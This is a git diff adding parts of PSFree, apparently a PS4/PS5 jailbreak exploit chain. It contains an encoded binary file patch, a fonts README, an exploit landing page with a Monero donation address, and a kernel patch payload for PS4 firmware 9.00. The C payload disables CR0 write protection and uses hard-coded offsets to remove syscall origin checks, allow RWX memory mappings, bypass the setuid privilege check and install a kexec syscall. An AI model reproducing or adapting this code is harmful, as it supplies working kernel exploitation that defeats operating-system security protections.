za)kV*94R-H8_A93CUR4`ncQ5Cl3U0vo@5-a((efDiJ$bDBzC2DIFHev^kSEF?%9G@e`H%A4dLyJwlYf`@%Ln9x@*(-K{D*u*J}MuR|CEo*C*+gzDfzT~Mm{T_lh4Z+ z&oANFBwtPpvE8mmv%MavY`Jwzsek?zcpUThV=kg2rrCcKW zu;SHKLV3zpQYq|S9;!%Hr~#@{4OD~FU^PUoq1IGusiA6ZwT@a>t*6#k!_)?9xcY_~ zp}wg`stwgfYGbvD+Ei_(Hdmw67HUhil^U(KR%6sQs!CO>SS2b|B~_!ws#-NpZL7Ye zwo}`y9n`ngj;cYFD+JnxJ-9d#H(OlKPI?Q%zP=)Ks;X+FR|T z_Er0-{nY{LKy{EhSRJAo)il+lrmJQ(L(Nnzs#VQWhpIL;TeYhW)v4yFF4e7iRIi$= z=BfE=fm)~zQ-`Y~)RF4D>L_)zI!1j@9jm^tj#J006VwmXiRy>yB=sY8vih+)Mg2sb zs!mgMV7(I!B$W&Qs^B3)F?`r|KegvARV4OkJvet}au*P?xJ;sw>p5)RpSj z>MHdcb+!7fx<*~Au2a8L*Q?*F8`O>JCiMq(v-+dDMg2+Ls%}%at3Rtd)Sc=s^%r%w zx<}os{;C$Kzp4Aw-_`x<0rjAINIk6np&n6>s>jqn)#K_3^`v@AJ*}Qm&#LFt^Xdil zqIyZatX@&Cs@K%(>J9a#dP}{n-cj$W_tg991GQLvs6J93t54LY>NEAZ`a*rFmZ(1L z8t(=|e`gvuTEWm@ZCEH+H&`!NKNuEl5DX8# z5sbh$sw0C9gN=fXgH3`>gUy1?gHgd2!Ir^R!RTP?U<|%stqQ7xI7ostC6`La=+VM=&v%6nrPxGngDq z38n^n1$zhk1p5a21^WjF1P2BO1qTO*1dYM8pedLhGzT++nL$g?8q5j~4cda)L3_{< zbOv*RuAn>U33`LM!MtF8upn3%92OiN91$Fe4eO2yjt-6qz84%Dd_OoYI6gQb_(5=D z@WbGw;77s9*v{^h;3vVU!D+$i!5P7s!CArC!8yUX!Fj>?!3DvE!B2yWf{TMof}aJK z20srj3w{w?9{e)6BKTEsW$^3Zs^B-l)xmFrYl3To>w@0}*9X53ZU}A+ZVLVo+#LKd zxFz^gaBFZ|aC`9Q;Ev$V;I7~=!QH_gGIsLg8PEM2lodL1P=xe1rG=R2p$O@ z4IT^r89W|55j+_@6+9h06FeI{7d#)l5WEWw0dZ zbMC_8ayJytEzX}pFZ7+8Lm4W3R*P@P!-{Y~SQ!os2Ze*fA>kU~n&DdE&~WW=op9Z7 zy>R_-ShztrJp4vD0*2;Bh8u<(g&T*PI3I_bhMR?(hoizR!Y#wC!qMT@;h1onuqvz$ z<1h)+uoTvWW5e2TT)1uct#CW%q;UIihw$6sj$vImKCBNL!Ys_gox+{NUBX?%-NFgs z?%^KcMCWYha_3y<9Os>IQurO`=gz6&p5bKYeCHR=kHab9ROfW(jBu}T?{J@R-*CTh z|L}nD!0@2(;P8;JF`O1Qh10|4a7H*YYzbS#S>d5!TR1yx4?Duna8B42c85J-Z#Xxc z7tRkCgbTyN!o$NO!Xv})hDU`*hsT893y%%IA08JTAD$5YAUrYrVR%ybqwwVL$KfgA zPr_538^hDW)59~uGsCmOv%_=3bHnq(^TP|m3&Wp=7ljvxmxMnHFAaYlUKai$ygdA6 zct!ZD@XGMl;Z@;p!mGpIhS!AGhS!C^3$G7KU&6b?d%}CezlMv#zlHaOe-G~u9|#`|9||9KZgp-8{}DbCJ{mq2{xf_$ zd?I`@d@6i8d?tK0d@g)Gd?9=>d?|c6d?kD}d@X!Ed?S1_d@FoAd?$Q2d@p=I{2*K$ zei(ifejI)hej0ujeja`iei<$a`y%Xb7QrNHQzQB5>9s*T1)+eY7twu`opc8IehAB&l zil#@+(Tr$j)DpEuv!X+zwrFi5cIaUR#nwi(QgRq zX6wn&_Mp-Fs%}~rrdm~_@q)UJnH}xThX#$-A5h=a+J*Vl8Ewt;2Q)1WSJY4M=xJ=i zj9yPgQ-4r3G&Q1VHQjm*kki-`WE6-OR9djgtiWdDRb>5VS2XtrgN)T^w!X@2iOt3v zu+!3t44AnzT(MJs0Tna*gOxjBVs>_;t!(AYLS(?sOV1t9vNY`PJgu?IZ-JwB>1l17 z-mLIu7hbRnThhvw>|$HeYP)V1*16UCVwYV->#PC0E-iP!tfk?~-3k?{Jan1JOg*>W zhWYc>CN-h4skf(DwHdE+LNQ-kA)+SO4r()=KLM@x+u*1@?D_5X{5=Y%RJIo)Y7cvU zyY1li#?FrJ9?aRdG<#Y5Os~0pW-yVB?_lF6+QxSnZ{Wn1-u9V|UA?p08hd*Nb`)c3 zPg@7P9Y9km_biC5>?%amp0*BM)|+h4>Nehh$xFL#K=;yc<&;7Jl|6-snqrITF`hp~ zU(z0ZNvGON+G{WARJN*@t(t0E)oVOCwF~bZB;JX%&m1_l*rtKK#aJ+vm%i8f1NL58 z!vXUO;e89?1xv$fKik%Y#;e$`|K6=w*dLT_9qlu_%~M=mYoF%o+G@sQ`U(A%eu;h! z{jv0G>5rpdM}Iv1dio9YGy1vp$5H+`${$C$<0y9=<&LA=ag;lba>r5bILaMIx#K8z z9OaIq+;O>_*wWDj9Z9>k4s~pE9c9;1b{%EcQFa|=*HLyIW!F)59c9;1b{%EcWpb*K z*}GKcc(!*uWsj%q@svHDvd2^Qc*-76+2bjDJY|ok?D3R6p0dZY-Q(Hc_3ZC@%CD#V zddjb-{Cdi-r~G=#uc!Qa%CD#Vddjb-{Cdi-r~G=#Z=n1J%5R|j2Fh=s{07Qzp!^2P zZ=n1J%5R|j2Fh=s{07Qzp!^2P&nQ2m{EYH5%Fif2qx_8WGs@2>KcoDN@-xcMC_kh8 zjPf(e&nZ8r{G9T0%Fii3r~I7qbIQ*tKOa|7r^gcem^bzZgSyNl1&z(dA26}It+Bhs zhC7yq&7B`t+1g-D5#zQtah0u2TxDw$SJ~RcRkk*9m90%&Wor{x+1`k&Y;VL>wm0G` z+Z%C}?Txs~_C{P~djm@ zsb)>8S(9qkBxX%w)+A<4V%8*PO=8w0W=&%DM9iLu*%LA4$CMvaeoXl><;RqtP<}%B z3FRl0pHO~6`3dDGl$%g)Lb(a$CX|~{ZbG>U<))OIQf^AQDdnb=n^JB{xhdP7QhrML zDdne>pHhBG`6=b6lwYF!66NE|L(MYd66KdDzeM>Z$}drViSkR7U!wdH<(DYGMENDk zFHwFC<=0St4dvHRehuZN*HC^9<=0St4dvHRehuZN*HHdg${$PlV<{io zA)9^}OZj6de=OyXrTnp!KbG>xQvO)VA4~aTDSs^GkEML#e@y(3Ybn2$@@px-mhx*U zzn1cADZiHTYbn2$@@px-mhx*Uzn1ce|1t4D9!L4)0Wo<%Odb%E2gKw7F?j&K`m_B- z9uSiU#N+`nc|c4a5RapLYBO;i`=4AOCKrgw1!8i6m|P$x7l_FPVse3)Tp%VFh{*+F za)G#x?XRQ!@x1=z12OqPOg<2k55(jHG5J7DJ`j@+#N-1p`9MrQ5R(tY@k5oCa}i@_L#sP6WC({drV-D z3G6X}JtnZn1ooJ~9uwGO0((qgj|uECfjuU$#{~A6z#bFWV*-0jV2^X&$T=URoDWjY z2Px-+l=DW)^Jr#Qj_~!A*?5a^@OmFZ{4hX!g@kjPYCM?VLc(NCxrE++72p7wH;KFYTFk{ zHRTh`6M}g{Fi!~P3Bf!em?s2te0yIBf>U9ikhx;w?B1^mD0c4^d-RHZS~1IGDj_DddV98X$jPlUXE%CN8hZm)$eYyC z>eb_z)ZJ?9Wh7PVBFps}%)I4zMPq+=R5lmd6{0S-lXR<0XlSqfy?m-kl;(VY8nVlo zx`}eSZeqZ){Dt_z(?4R-AzG&klZTqtwVBohvwKY?MSHK9-x_q-CVE{h9SUn}XE#<$ z<9R)3CgppbXd__?*2+$Y`I#4m#bza%e2>yKblB|IoSm59ZU#K2%!lfG$Dj0 zgwTW#nh-)0LTEx=I-xF|P?t`qODEK&6YA0lAvYo9CWPFCked*46GCo6$V~{j2_ZKj z<~6+=P&u5ONbjZbHaS2)PL%HzDLEgxrLXn-Fpn zLT*CHO$fOOAveh_cT1@~r_`R)D$89{YR@UP=agWZ5^Pg~ZA$GqrS_asdrk?nDPcAx z%%+6dlrWnTW>dm!N|;RvvngRVCCsLT*_1Gw5@u7vY)Y6-39~6-HYLoagxQoZn-XSI z!fZ;NIi=2=5@Ay!Y)XVpiLfaVHYLKQMA(!Fn-XDDB5X>8O^L865jG{lrbO732%A!8 zPKmH75jG{lrbO732%8dNQzC3igiVRCDG@d$!lp#nln9#=VN)V(N`y^`uqhEXCBmje z*pvvH5@Ay!Y)XVpiLfaVHYLKQMA(!Fn-XDDB5X>8O^L865jG{lrqrENB5X>8O^L86 z5jG{lrbO732%8dNQzC3igvCd%W_(JCuqhEXCBkA4EdFj0J|)7YMA(!Fn-XDDB5X>8 zO^L86b?212b4uMgrS6;(fnfr{%A@X_Qg=?NJEzp0QzCRqgieXjDG@rQ?wnG0PN_Sm z)SXl6&M9^0l)7_D-8rT1oKkmAsXM3Com1-0DRt+Rx^qh1Ii>ELQg=?NJEzp0Q|its zb?212b4uMgrS6dq;3=ajm0O5Hi7?wnG0PN_Sm)SXl6&M9^0l)7_D z-8rT1oKkmAsXM3Com1-0DRt+Rx^qh1Ii>ELQg=?NJEzp0Q|itsb?212b4uMgrS6dq;3=ajm0O5Hi7?wnG0PN_Sm)SXl6&M9^0l)7_D-8to4ddj)p8MD!9zjuJ%p<0V|qBFwY{4vI;et_%E=|F?fLSHupI?h}L;rOpT2vs<=H&g4cEfGAt zcv{eEx~aOsJ}dCed09z&B_O-^|CrH*5jEVGHohq!4^FDFok4kij<- zWbn-d8GJKA2H&vt>IVC)z^8ostRPPLmMtSr`IapsPWhHCBTo7D*+QK1?X!hA2Wob9)48F9AXvSq~Ce#@2-XZtN%u5Pew89v)@*)rm6zh%pav;CGWBhL0) zwv0I2Z`m^9Y`3pZm?__KHG2EGU9B%Wy^@O{gy2w&h}fjj5ynG*)rm6zh%pav;CGW zBhL0)wp`s{*)n{#-?C-I*?!BG5oh}?TSlDiw`>`4w%@X4#Myq!mJw(BEnBW`uxuGV z+ix)sakk%L9^!1j#XQ8>ev5gCv;7wH5NG=><{{4ZTg*e8?YEd$-C!{fKHG0G4{^5N zVjkjbzr{Sn*?x<8h_n3`^AKnIE#@K4_FJ}G-C)@=e74`RWyINj%a##m`z>2Wob9)4 z8F9AXvSq~Ce#@2-XZtN%Mx5=pY`MC@vSs*ezh%pav;CGWBhL0)wv0I2Z`m^9Y`^7X z)eV-DRcFMRj5w1KXENeUMx4orGZ}FvBhF;RnT$A-5oa>uOh%l^h%*^+CL_*d#F>mZ zlM!b!;!H-I$%r!uOh%l^h%*^+CL_*d#F>mZlM!b!;!H-I$%r!uOh%l^ zh%*^+CL_*d#F>mZlM!b!;!H-I$%r!uOh%l^h%*^+CL_*d#F>mZlM!b!;!H-I z$%r!uOh%l^h%*^+CL_*d#F>mZlM!b! z;!H-I$%r!wj-s(byjxQnz$vsOg3wjmsw#a+q!_<}e9E z3px4=9$F};Kd~syymu~^WfImZlvS?zT7{y@X#?y^a#Q62b~(8X+jLVerkn6!o8DiO z!SGtwN@9TE#B?g;uoo2cuoezelb8 zp^5#Wj&i61>uR}jpaP3)85}Zk`KEU)pHRqQ`=XG;_C+B_f5Afwx%v}}(rjN8a@oEp zlvS?zT7^vIG~JpmyVPB`rW`b>rcyT51P7Va{z?oo`TL``BqQ9OV}e-ajzY`Qu*$s< zi>8*-quz3;0xO8iy^CeU<)B$tY#xmYv$)s>O{%S>Nwu{!sr{!8GQadkb@^TGwwC4> zTT7E#t^-!87iy{YHN~n0#*6kX=ZY4TLlyfjEq+0NQ0;4qRtt=0#^9WsEhlHo$=Pyp zww#ZBWoSZEuXUoaia&oquoGmA3%gNbta<-hDEhlHo$=Pypww#lGloE$1Ahsw#Ja&oAg94aS=%E_T}a;Tgf zDkq1^$)R#`sGJ-sCx^<(p>pc#Id%1%x_VAsJ*TdoQ&-QatLN0!bL#3jb@iOOdQM$E zr>>q;SI?=d=hW46>gqXl^_;qTPF+2xuAWm@ ~D)YWt9>N$1voH}|=9X+Rxo>NE9 zsiWuA(R1qPId$}$I(kkWJ*SSIQ%BFKqvzDobL!?fb@QCMc~0Ftr*59xH(AxWeUk;> z&JE=DO%~#IZXmaBvZ{0YCJVlu8_4aOEX3_xKyKe$A#Udaa=UT`aXS}~+xJ$8Q;vOK zg*fHd_f^%oeP0Eia_svm#O)kJZr@iSPPz7d72=d@-&Y|{x%Pb(;&u)ux9_VEw{tML zeP30b+xJuO?VL+)-%lYC(kO7K~-9TgF0 zD{As+26h)5(~Z?p(G2WXXhLCk>wFWa=tjNUZLnGIn`<++W3e(rI1zgbc63Dxo4Y!Y zHmy6va%LOonP*cfdRnmV&7_s3P3xD26Rfmp-Tl%KEK5U1N}JYgn`j3#d?#Zj-{7<3 z?SO{3x$*G*3@?lwco2{Mw$`pjTZkQPkXWNSvF;kn*33n;gAJ0$DZJd8)7<7y$M=1{ z-YAh7co*1F1{rxJ?I?qfbyz7o${=p;PWY^poe@Nw=h?Te_;|<66vow-CBZj$G5oRK z#Fp7nGd6F;t2Ev})fTJc>NL}x-GldQ(<5}Y33NwDGQHPQY5LuUy9em2%W$Q+tc;k3 zRoA9bV^>$lJiHm}2~4QBv%>ghzhwL4^p1J$HZ%>wY^b+$dV3{LnBG3EyV*u?Z|Xdz z@VL4(Xj*R@Ub5+(BeA5gs{)%qw&<@i8`~;d+wpkd{?J+&s5 zE!cjuc_5ykwvL(lUdPhS3VjmDa$8Sle{folIfE~fW4=I!Z*P6R;EhX`fWkKe1AP8& ziDO*iLs+sz4qwmkcT0@ok|jp)?R{6W#0YVFiLpDst%oH>NVfw?$xcQgZYF)<+efry zi4x*vIrbJS@lh^W;uM!Gae{Aev63ZDh}&DNWQh~vly8X>;*@WR6XKN5A)>?~qNIn2 z&S`BOO@{`!j@p+t);7cXT|JEV;9cZ&yvo&XF#S;DWAMNQo<6O^4n%w%9rJZE{PB1P zs&jPVN(b2Lv~gx{r}euSpWbfcZ8MbCYuoG{P_lp*mn^`=B@1xy*$)=r5NAKwr5cE{ zA1vS@J~nD?pKI?!9kMbia7(r`v3qtaZvV!nX55o=`y*aAUhB@lXYy^$zIJ4HC)({d zwe?PuEzOOn{q)wx+2zr>re@rL+1M`D-lw(+HSFRVj>0vTi^lc5r1iX{^}M9@yrlKK zr1iX{^}M9@yrlKKr1iX{^}M9@lvhuA^&IuX+>%A703tUs3YGoo&6{dbi&J`c*ww9#ojHS$(jENixe7_~Vd5 zipdh`3Yn^6(RK3-yA;7B&Ti~%ofBaxf?e-0z${2$*i_zz!KbwULOvO?K zhR`oIG^o66fj^+-HZ;JrovCOzLs-0ELzQ+3gN+R28U`B+v6roB=m4{b!GX%jF%%0Q zppr_T~^XD{a`Ac-8>GB`RUz2OwGw4>aIe zj#X-wv^0VntsEI>u(UsBK(#+sp1v7_`>1+Q|GbTkrUO}nR`cUvw73f24B<$}G&Ob> z;?>K=>z9jH72;!;J3r}wtT+j%hUOE zS~=gimDI18wtT)~dF6b|mshS!xxG4HIjvY;xh~7+E0kA{RdUPs-!f?|uRpC&zh%;j z`O0;nT$8VywtT+j%PZHp*bZ}Rqn^cfl+%{ahx1p+r_+jZ%jXvBS58|#U!gqH4xP`G zr$1%`t!_1wy&*PLF%M%o5SIft9Z5DJYVWdd4{(s{IEqw`oT zN{7twpwmL5)gUlDP$AW`72DwWL59*PPAwDHVrOr?xKG%f)E&NcZoR|`|LM&LFpc1FvK7Y(P(KxKP*}hw)h4ZGHV&v z(&%jS_AhE2)SqUSE-sCl^^8Ms1*vl}{`=Z8&uLH~Sr{lZ^p|Ea^8)-=1PS0Zu@_7oS`5#15D zIpyOhH zuZJ8jd^lW!a35@%3GB%=+i|gbRVTvOy$a#(sMqnZf7M*b_aR;H=W&H*jhVajR2j{n*|gDywgDAVQq`(az3aydf7 zn={C`Fi>d9cCdTA4vDYWUw&Qe5MPU3;CIGO@B3gk_jc@%ej;{;y9j&3UG3b39m3yr zKEXcdA$CDu&mC#%>tfe)ALY7g3j6>+F1GP#82#6+Klln6 z);(dpiuF#ivGqP$f9LhjUH?rR8&);!nhmzx;7WV`@O7*|;y&wdxX|PZH`#2H(>Hm0 z)15cHWYaG;+iSC{P3pkS-rRin<`XtQeDf~ek$b~L{Q;XB-W;ok2)0{2PxdAP5- zZ^K>eex`3Nq2N}EHQ}x&M!?-fYzenY)WF?NjEB3k*aPkqu^-$+#09 z-Y~c$z0Kf`_F}lT*m1f6yGu_(crWh&xYN8AxLCgncOh(hI@kmHB<%Nmws#@ImwH#g zz1q7T?#ZeG2U)IB&rGFJakW=BF(f116nR0u$`3tZP#NkHnL8hDqvKA?anED@K4BO4M5Iq%vKQP&bJlrF_CWYBAJ3)xUDF#qwgjEueF8Q>(La4}LDp@sgMl{sx_^4i zJ+r{y7U4#7^;`Y12;<&`d#El=z&aV+Ii}=umgsU8_&exyEyWule}eGBzI(Lm>#MnK z-<9ZTA9gmj$C(YVelZNTEKY!3jmz;@!fzq=r@seJ(<1RVC&K>o4>$v`%lvarrQT)U z8HgR`UvmayU-`w(5bOfKF)Vs)fV#Eg=)tiN$5A+r!vT5DsW`MXy$f+%isK3#S3}D6 zIBv#)=L$A51gv8S*uoI7vLUc1zQB0x!m5P}dm93ywCkWXuI~u90tmZ_ywY)(+@{^W zKL0z8`{gC_JQGF@`ug;>M|u^`a{OKsZiYKe=d}5ej_U!*TjJaUb=~{=`W`{bh(6#f z{*aDeaYrKkw{VxhqKDgewr)+|js7&ad-+=Wp0Hoy_MPeLUoZ4=jryj*<_Yd9fif|A zRl@$rxxk>yU?cDvSnRmPxdZk5^O6Rpj#-cZ@L}hh*y;5tXC!uaUE++wZl<%ri*TFy8hISp=W)dhISb+8u*KuT z?oK6KALGTVrhP8T(Yf_=SI({Pg}cmCya>71gpHojur^o=+dB=gvoi@cbq;{tn-)Av zJs1Oy!t;NUmLm2kyY7zSW`wWx>QK^c0?&;T>l7#U^q65>=HCofeO&kU!nrpHj4AF_ z;(oYGO!_6_bd+|L``;&XSi0Y>-t889-9nP(JknrVkcnT76Auo!a^tizlQOE8zh>dV!z@NzS( zx!euQEf2#=%d@b^@+PdWe1aPKu&Ocy7F34ATFNL`MoD1>Wk*;%nE>l1`@oXPbXYCv zgoTpBVU6SjSROeYRz@y@MUg9EJ>&*h3AqDSK<<5gJlSS&t+tqujd9BaY` z#|Uo|SlOt8MUCxXJ!5BB%9sMH7>B?DMjNbM%!g%*V`0VO6xgdcAGRqjhaHORU~}SD z*q2xYTN01KZp4eQ5%DhUL3{z*4l8n?(I74-fqq<)PI>a7SmTh9IjC2D*Cy2T~^gU%ha>j=O>!Bd}3s+ zPT1D}^g`WM2p8+aaEr-btbeg@&9!p}EvETZclJ*UPri-eWqv`e?95zoijvXXGJcU*s`Z6w%g1UdEXCIc62sz&M%X&^F-q z#IX;KgK$j8F$+g0j=4Av$8ih}=!~$M=3vKl2fW7x^Krm^`o{><65ikcqp)UI<>zFO z2}2sk@iG7ZIR0;q#%jT&aQiY1=ngPE2gg^#l2LQKzFeT zTepzD5-FxMFp#BnXfR>x>ig6MPtdNu7wNh;=&*IgwkF-U-mNBmiAgDxqh|?lZku+! zV@)2duarx+<*%Y$tEw|=WzPytY1S?D|El`gU5);6O%1KPOdakwvR2!5F*nlRZ-sEN zKSkj_Da!SBFz4D|i~T=Hr@Pi2ZNkRYGdz%GTz5T_Zrw{wc#3fs6S9 zWfuC4{co>b!CmHBr$&}J3!GEe&AO+XuyxH9v~5|Y9}4v>%39_=FVvsuQ;fu=?OpwG zd>H17{{|aTMY~YXt;7=4`>+A^g}=mFGJw{rfa4Y%ci^}ehwhh0 za6F0Qd5rk4!haiw?z_*>ak}r8eL{wsloj1#&f>2&y_jOdE9PHSN?fSJvgLTF;BXvB z#aN=Xf+28){}Hecv(3xsRa&F^CVn0CRk(>6YJn1=zo1OiXPFYe?%b72{F*u%ea|tP zo@+F{4gb@1T!}(a?*rGVSXo)k zLe?^+74o2r&&&1q9sbrxn%zoK2s{QA{73pKH_#QmmqW{xec-BzDVdayV8tpAc(!Jt{X<}kyc`&8;yd3zf70@FhKhU3Ej z?)%ptW@>z_sj;2!F=5Pe>wD17AUtmJn3Q6=H`1hAw{zurgqe@AXRXA&-kepC=pCR_ zSS$N$YVs6aTNBgQ#rm`SVy$dWQ>JH1!_0So`Ngm;r|5dC>JvL_W&6tZ(uJmmMY)9* zt+EFSc~)$-C|(Pj)AmNuT`F<)?_U8sxsL)*9j5{ZxV&p;4iDFD;9I%>@_W|P8kFnp zY}}FB6`z>!B__P4c3m@5;h7Zc>a`ZQvnH6FM*H?gns6bHO%abTpYC66QjXQGc+rFx zny}H1mnr9L^K0b_uC23`Yr@4kvxJf6EL$I=5!xA*Vk?#j+cJyp&ZY!YPO*HUXCPhM z1MCfxvZ~%F_CT@iwmw#8U#8Wj&Q=Pqi*2dxv73!_<64Qv{a5bU2mBY8xo7WmM&TO& z8TYW}C&TfMZ7DO;+*rUS^o#JnPBU z$M<2;@pEnQ5Yjwn1Xc#{{4Ts%L*01$%FPb^gau zitE3*+WBqytDoPN|JG`k|A48_>gWHP$^Z6hm#?2j*MDcV^V?^5_4C{MtbTsm-qp`< z`*Zd4Kk+ZN*Ir*+{ze#C1;)1F9NqNl2iLbHK54>wg@h~DFunQpx%El{o%{bK+yV>` z>o~w9wL8+dXBSeAHDT+TJbvx+DLmJfVDs2AS2%aYoZiExH0#{D`PIJnS^W~cJ$3!9yZUD_r(vhXcCAW!G0(p&rO?lOt7ZD%l)3u%?7uVf zxjyoq1UykD{9M|Ev3CFEC?!vJM$AdT?!|^l@ ztqr}7<6Rsdfs=2m`S5DF>#cUq)i2ZJ#G5wM0q@rOUFx;hJOAa+vC+XBR&ZBmJ%~Na zPMgUsE45|G@H#;T7w%+9_CF+dq5tHPZjZGRtegbooH* zez(v+tN$E-^_w6)ySOcm9dYD1Cg9K`oSt(y2*-3Bvv73c(AxarIF7+_0%~Sw<5uNf zY3gl%z1M{8tkSCTcS^mQ=>PLr_|>DiU0L!qdGshs^u?O}{_t0y^`H2)xYp!9QU0pR z{9kJI>OVvO#aQTdY6OC-SxGr;Q;M$s_4-xhdDWC~Z^2!4Im?&13c30VId@0kqn#rY z1|`*(FP8t7bmF(==NM47`KyF3_@r}pU#*ToD@5IKRDd@wd)9*dRq_=oR=@F5)Z$p2|fpO5yeSW;8d>`rIc^tRTS&PICcCTEo12g(_P z{KA}J>#tpD%J8xBe-O0a5zc1FRijt@SB!vG;)CTvR@NNCOk^GJc={!T6b)s2V74(7s zE@n%$lz01cz1JVY7fU?zgZ|Ls{?Ld0p^y4QANPkoF`)pG)^kQ;uA&N8X}j=w$ov$w z)&2+mr{Qz(KS5mkANZeypX#&lZG*sX&%o8+ZTR75rYzwE{;NJXEY>nf$CClBT7?`a z2Ref>A3VevBG;5_;oFI|<@$J5Jag|1HS>I9)W^fkf!Hv04hxOz_055GVNd>WxI`$PCfm1+16%;Z~Et_q$r T_w~A*y-@+KC(2mM#GU^GAWDHh literal 0 HcmV?d00001 diff --git a/psfree/fonts/README.txt b/psfree/fonts/README.txt new file mode 100644 index 0000000..067f156 --- /dev/null +++ b/psfree/fonts/README.txt @@ -0,0 +1,3 @@ +git: https://github.com/liberationfonts/liberation-fonts.git + +See FONTS.LICENSE for the license. diff --git a/psfree/index.html b/psfree/index.html new file mode 100644 index 0000000..3ca4a11 --- /dev/null +++ b/psfree/index.html @@ -0,0 +1,48 @@ + + + + + PSFree-Lapse Exploit For PS4 9.00 + + + + + PSFree: A PS4/PS5 Exploit Chain
+ Donation (Monero/XMR):
+ 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
+ See
JavaScript license information for the + source code and license.
+


+    
+    
+    
+
diff --git a/psfree/kpatch/900.c b/psfree/kpatch/900.c
new file mode 100644
index 0000000..73e5589
--- /dev/null
+++ b/psfree/kpatch/900.c
@@ -0,0 +1,183 @@
+/* Copyright (C) 2024-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+// 9.00
+
+#include 
+
+#include "types.h"
+#include "utils.h"
+
+struct kexec_args {
+    u64 entry;
+    u64 arg1;
+    u64 arg2;
+    u64 arg3;
+    u64 arg4;
+    u64 arg5;
+};
+
+void do_patch(void);
+void restore(struct kexec_args *uap);
+
+__attribute__((section (".text.start")))
+int kpatch(void *td, struct kexec_args *uap) {
+    do_patch();
+    restore(uap);
+    return 0;
+}
+
+void restore(struct kexec_args *uap) {
+    u8 *pipe = uap->arg1;
+    u8 *pipebuf = uap->arg2;
+    for (size_t i = 0; i < 0x18; i++) {
+        pipe[i] = pipebuf[i];
+    }
+    u64 *pktinfo_field = uap->arg3;
+    *pktinfo_field = 0;
+    u64 *pktinfo_field2 = uap->arg4;
+    *pktinfo_field2 = 0;
+}
+
+void do_patch(void) {
+    // offset to fast_syscall()
+    const size_t off_fast_syscall = 0x1c0;
+    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
+
+    disable_cr0_wp();
+
+    // patch amd64_syscall() to allow calling syscalls everywhere
+
+    // struct syscall_args sa; // initialized already
+    // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
+    // int is_invalid_syscall = 0
+    //
+    // // check the calling code if it looks like one of the syscall stubs at a
+    // // libkernel library and check if the syscall number correponds to the
+    // // proper stub
+    // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
+    //     || sa.code != (u32)(code >> 0x10)
+    // ) {
+    //     // patch this to " = 0" instead
+    //     is_invalid_syscall = -1;
+    // }
+    write32(kbase, 0x490, 0);
+    // these code corresponds to the check that ensures that the caller's
+    // instruction pointer is inside the libkernel library's memory range
+    //
+    // // patch the check to always go to the "goto do_syscall;" line
+    // void *code = td->td_frame->tf_rip;
+    // if (libkernel->start <= code && code < libkernel->end
+    //     && is_invalid_syscall == 0
+    // ) {
+    //     goto do_syscall;
+    // }
+    //
+    // do_syscall:
+    //     ...
+    //     lea     rsi, [rbp - 0x78]
+    //     mov     rdi, rbx
+    //     mov     rax, qword [rbp - 0x80]
+    //     call    qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
+    //
+    // sy_call() is the function that will execute the requested syscall.
+    write16(kbase, 0x4b5, 0x9090);
+    write16(kbase, 0x4b9, 0x9090);
+    write8(kbase, 0x4c2, 0xeb);
+
+    // patch sys_mmap() to allow rwx mappings
+
+    // patch maximum cpu mem protection: 0x33 -> 0x37
+    // the ps4 added custom protections for their gpu memory accesses
+    // GPU X: 0x8 R: 0x10 W: 0x20
+    // that's why you see other bits set
+    // ref: https://cturt.github.io/ps4-2.html
+    write8(kbase, 0x16632a, 0x37);
+    write8(kbase, 0x16632d, 0x37);
+
+    // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
+    //
+    // this check is skipped after the patch
+    //
+    // if ((new_prot & current->max_protection) != new_prot) {
+    //     vm_map_unlock(map);
+    //     return (KERN_PROTECTION_FAILURE);
+    // }
+    write32(kbase, 0x80b8d, 0);
+
+    // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
+
+    // call    ...
+    // mov     r14, qword [rbp - 0xad0]
+    // cmp     eax, 0x4000000
+    // jb      ... ; patch jb to jmp
+    write8(kbase, 0x23b67f, 0xeb);
+    // patch called function to always return 0
+    //
+    // sys_dynlib_dlsym:
+    //     ...
+    //     mov     edi, 0x10 ; 16
+    //     call    patched_function ; kernel_base + 0x951c0
+    //     test    eax, eax
+    //     je      ...
+    //     mov     rax, qword [rbp - 0xad8]
+    //     ...
+    // patched_function: ; patch to "xor eax, eax; ret"
+    //     push    rbp
+    //     mov     rbp, rsp
+    //     ...
+    write32(kbase, 0x221b40, 0xc3c03148);
+
+    // patch sys_setuid() to allow freely changing the effective user ID
+
+    // ; PRIV_CRED_SETUID = 50
+    // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
+    // test eax, eax
+    // je ... ; patch je to jmp
+    write8(kbase, 0x1a06, 0xeb);
+
+    // overwrite the entry of syscall 11 (unimplemented) in sysent
+    //
+    // struct args {
+    //     u64 rdi;
+    //     u64 rsi;
+    //     u64 rdx;
+    //     u64 rcx;
+    //     u64 r8;
+    //     u64 r9;
+    // };
+    //
+    // int sys_kexec(struct thread td, struct args *uap) {
+    //     asm("jmp qword ptr [rsi]");
+    // }
+
+    // sysent[11]
+    const size_t offset_sysent_11 = 0x1100520;
+    // .sy_narg = 6
+    write32(kbase, offset_sysent_11, 6);
+    // .sy_call = gadgets['jmp qword ptr [rsi]']
+    write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
+    // .sy_thrcnt = SY_THR_STATIC
+    write32(kbase, offset_sysent_11 + 0x2c, 1);
+
+    //veriPatch
+    const size_t KERNEL_veriPatch = 0x626874;
+
+    write16(kbase, KERNEL_veriPatch, 0x9090);
+
+    enable_cr0_wp();
+}
diff --git a/psfree/kpatch/900.d b/psfree/kpatch/900.d
new file mode 100644
index 0000000..96d04e3
--- /dev/null
+++ b/psfree/kpatch/900.d
@@ -0,0 +1 @@
+900.o 900.d : 900.c types.h utils.h
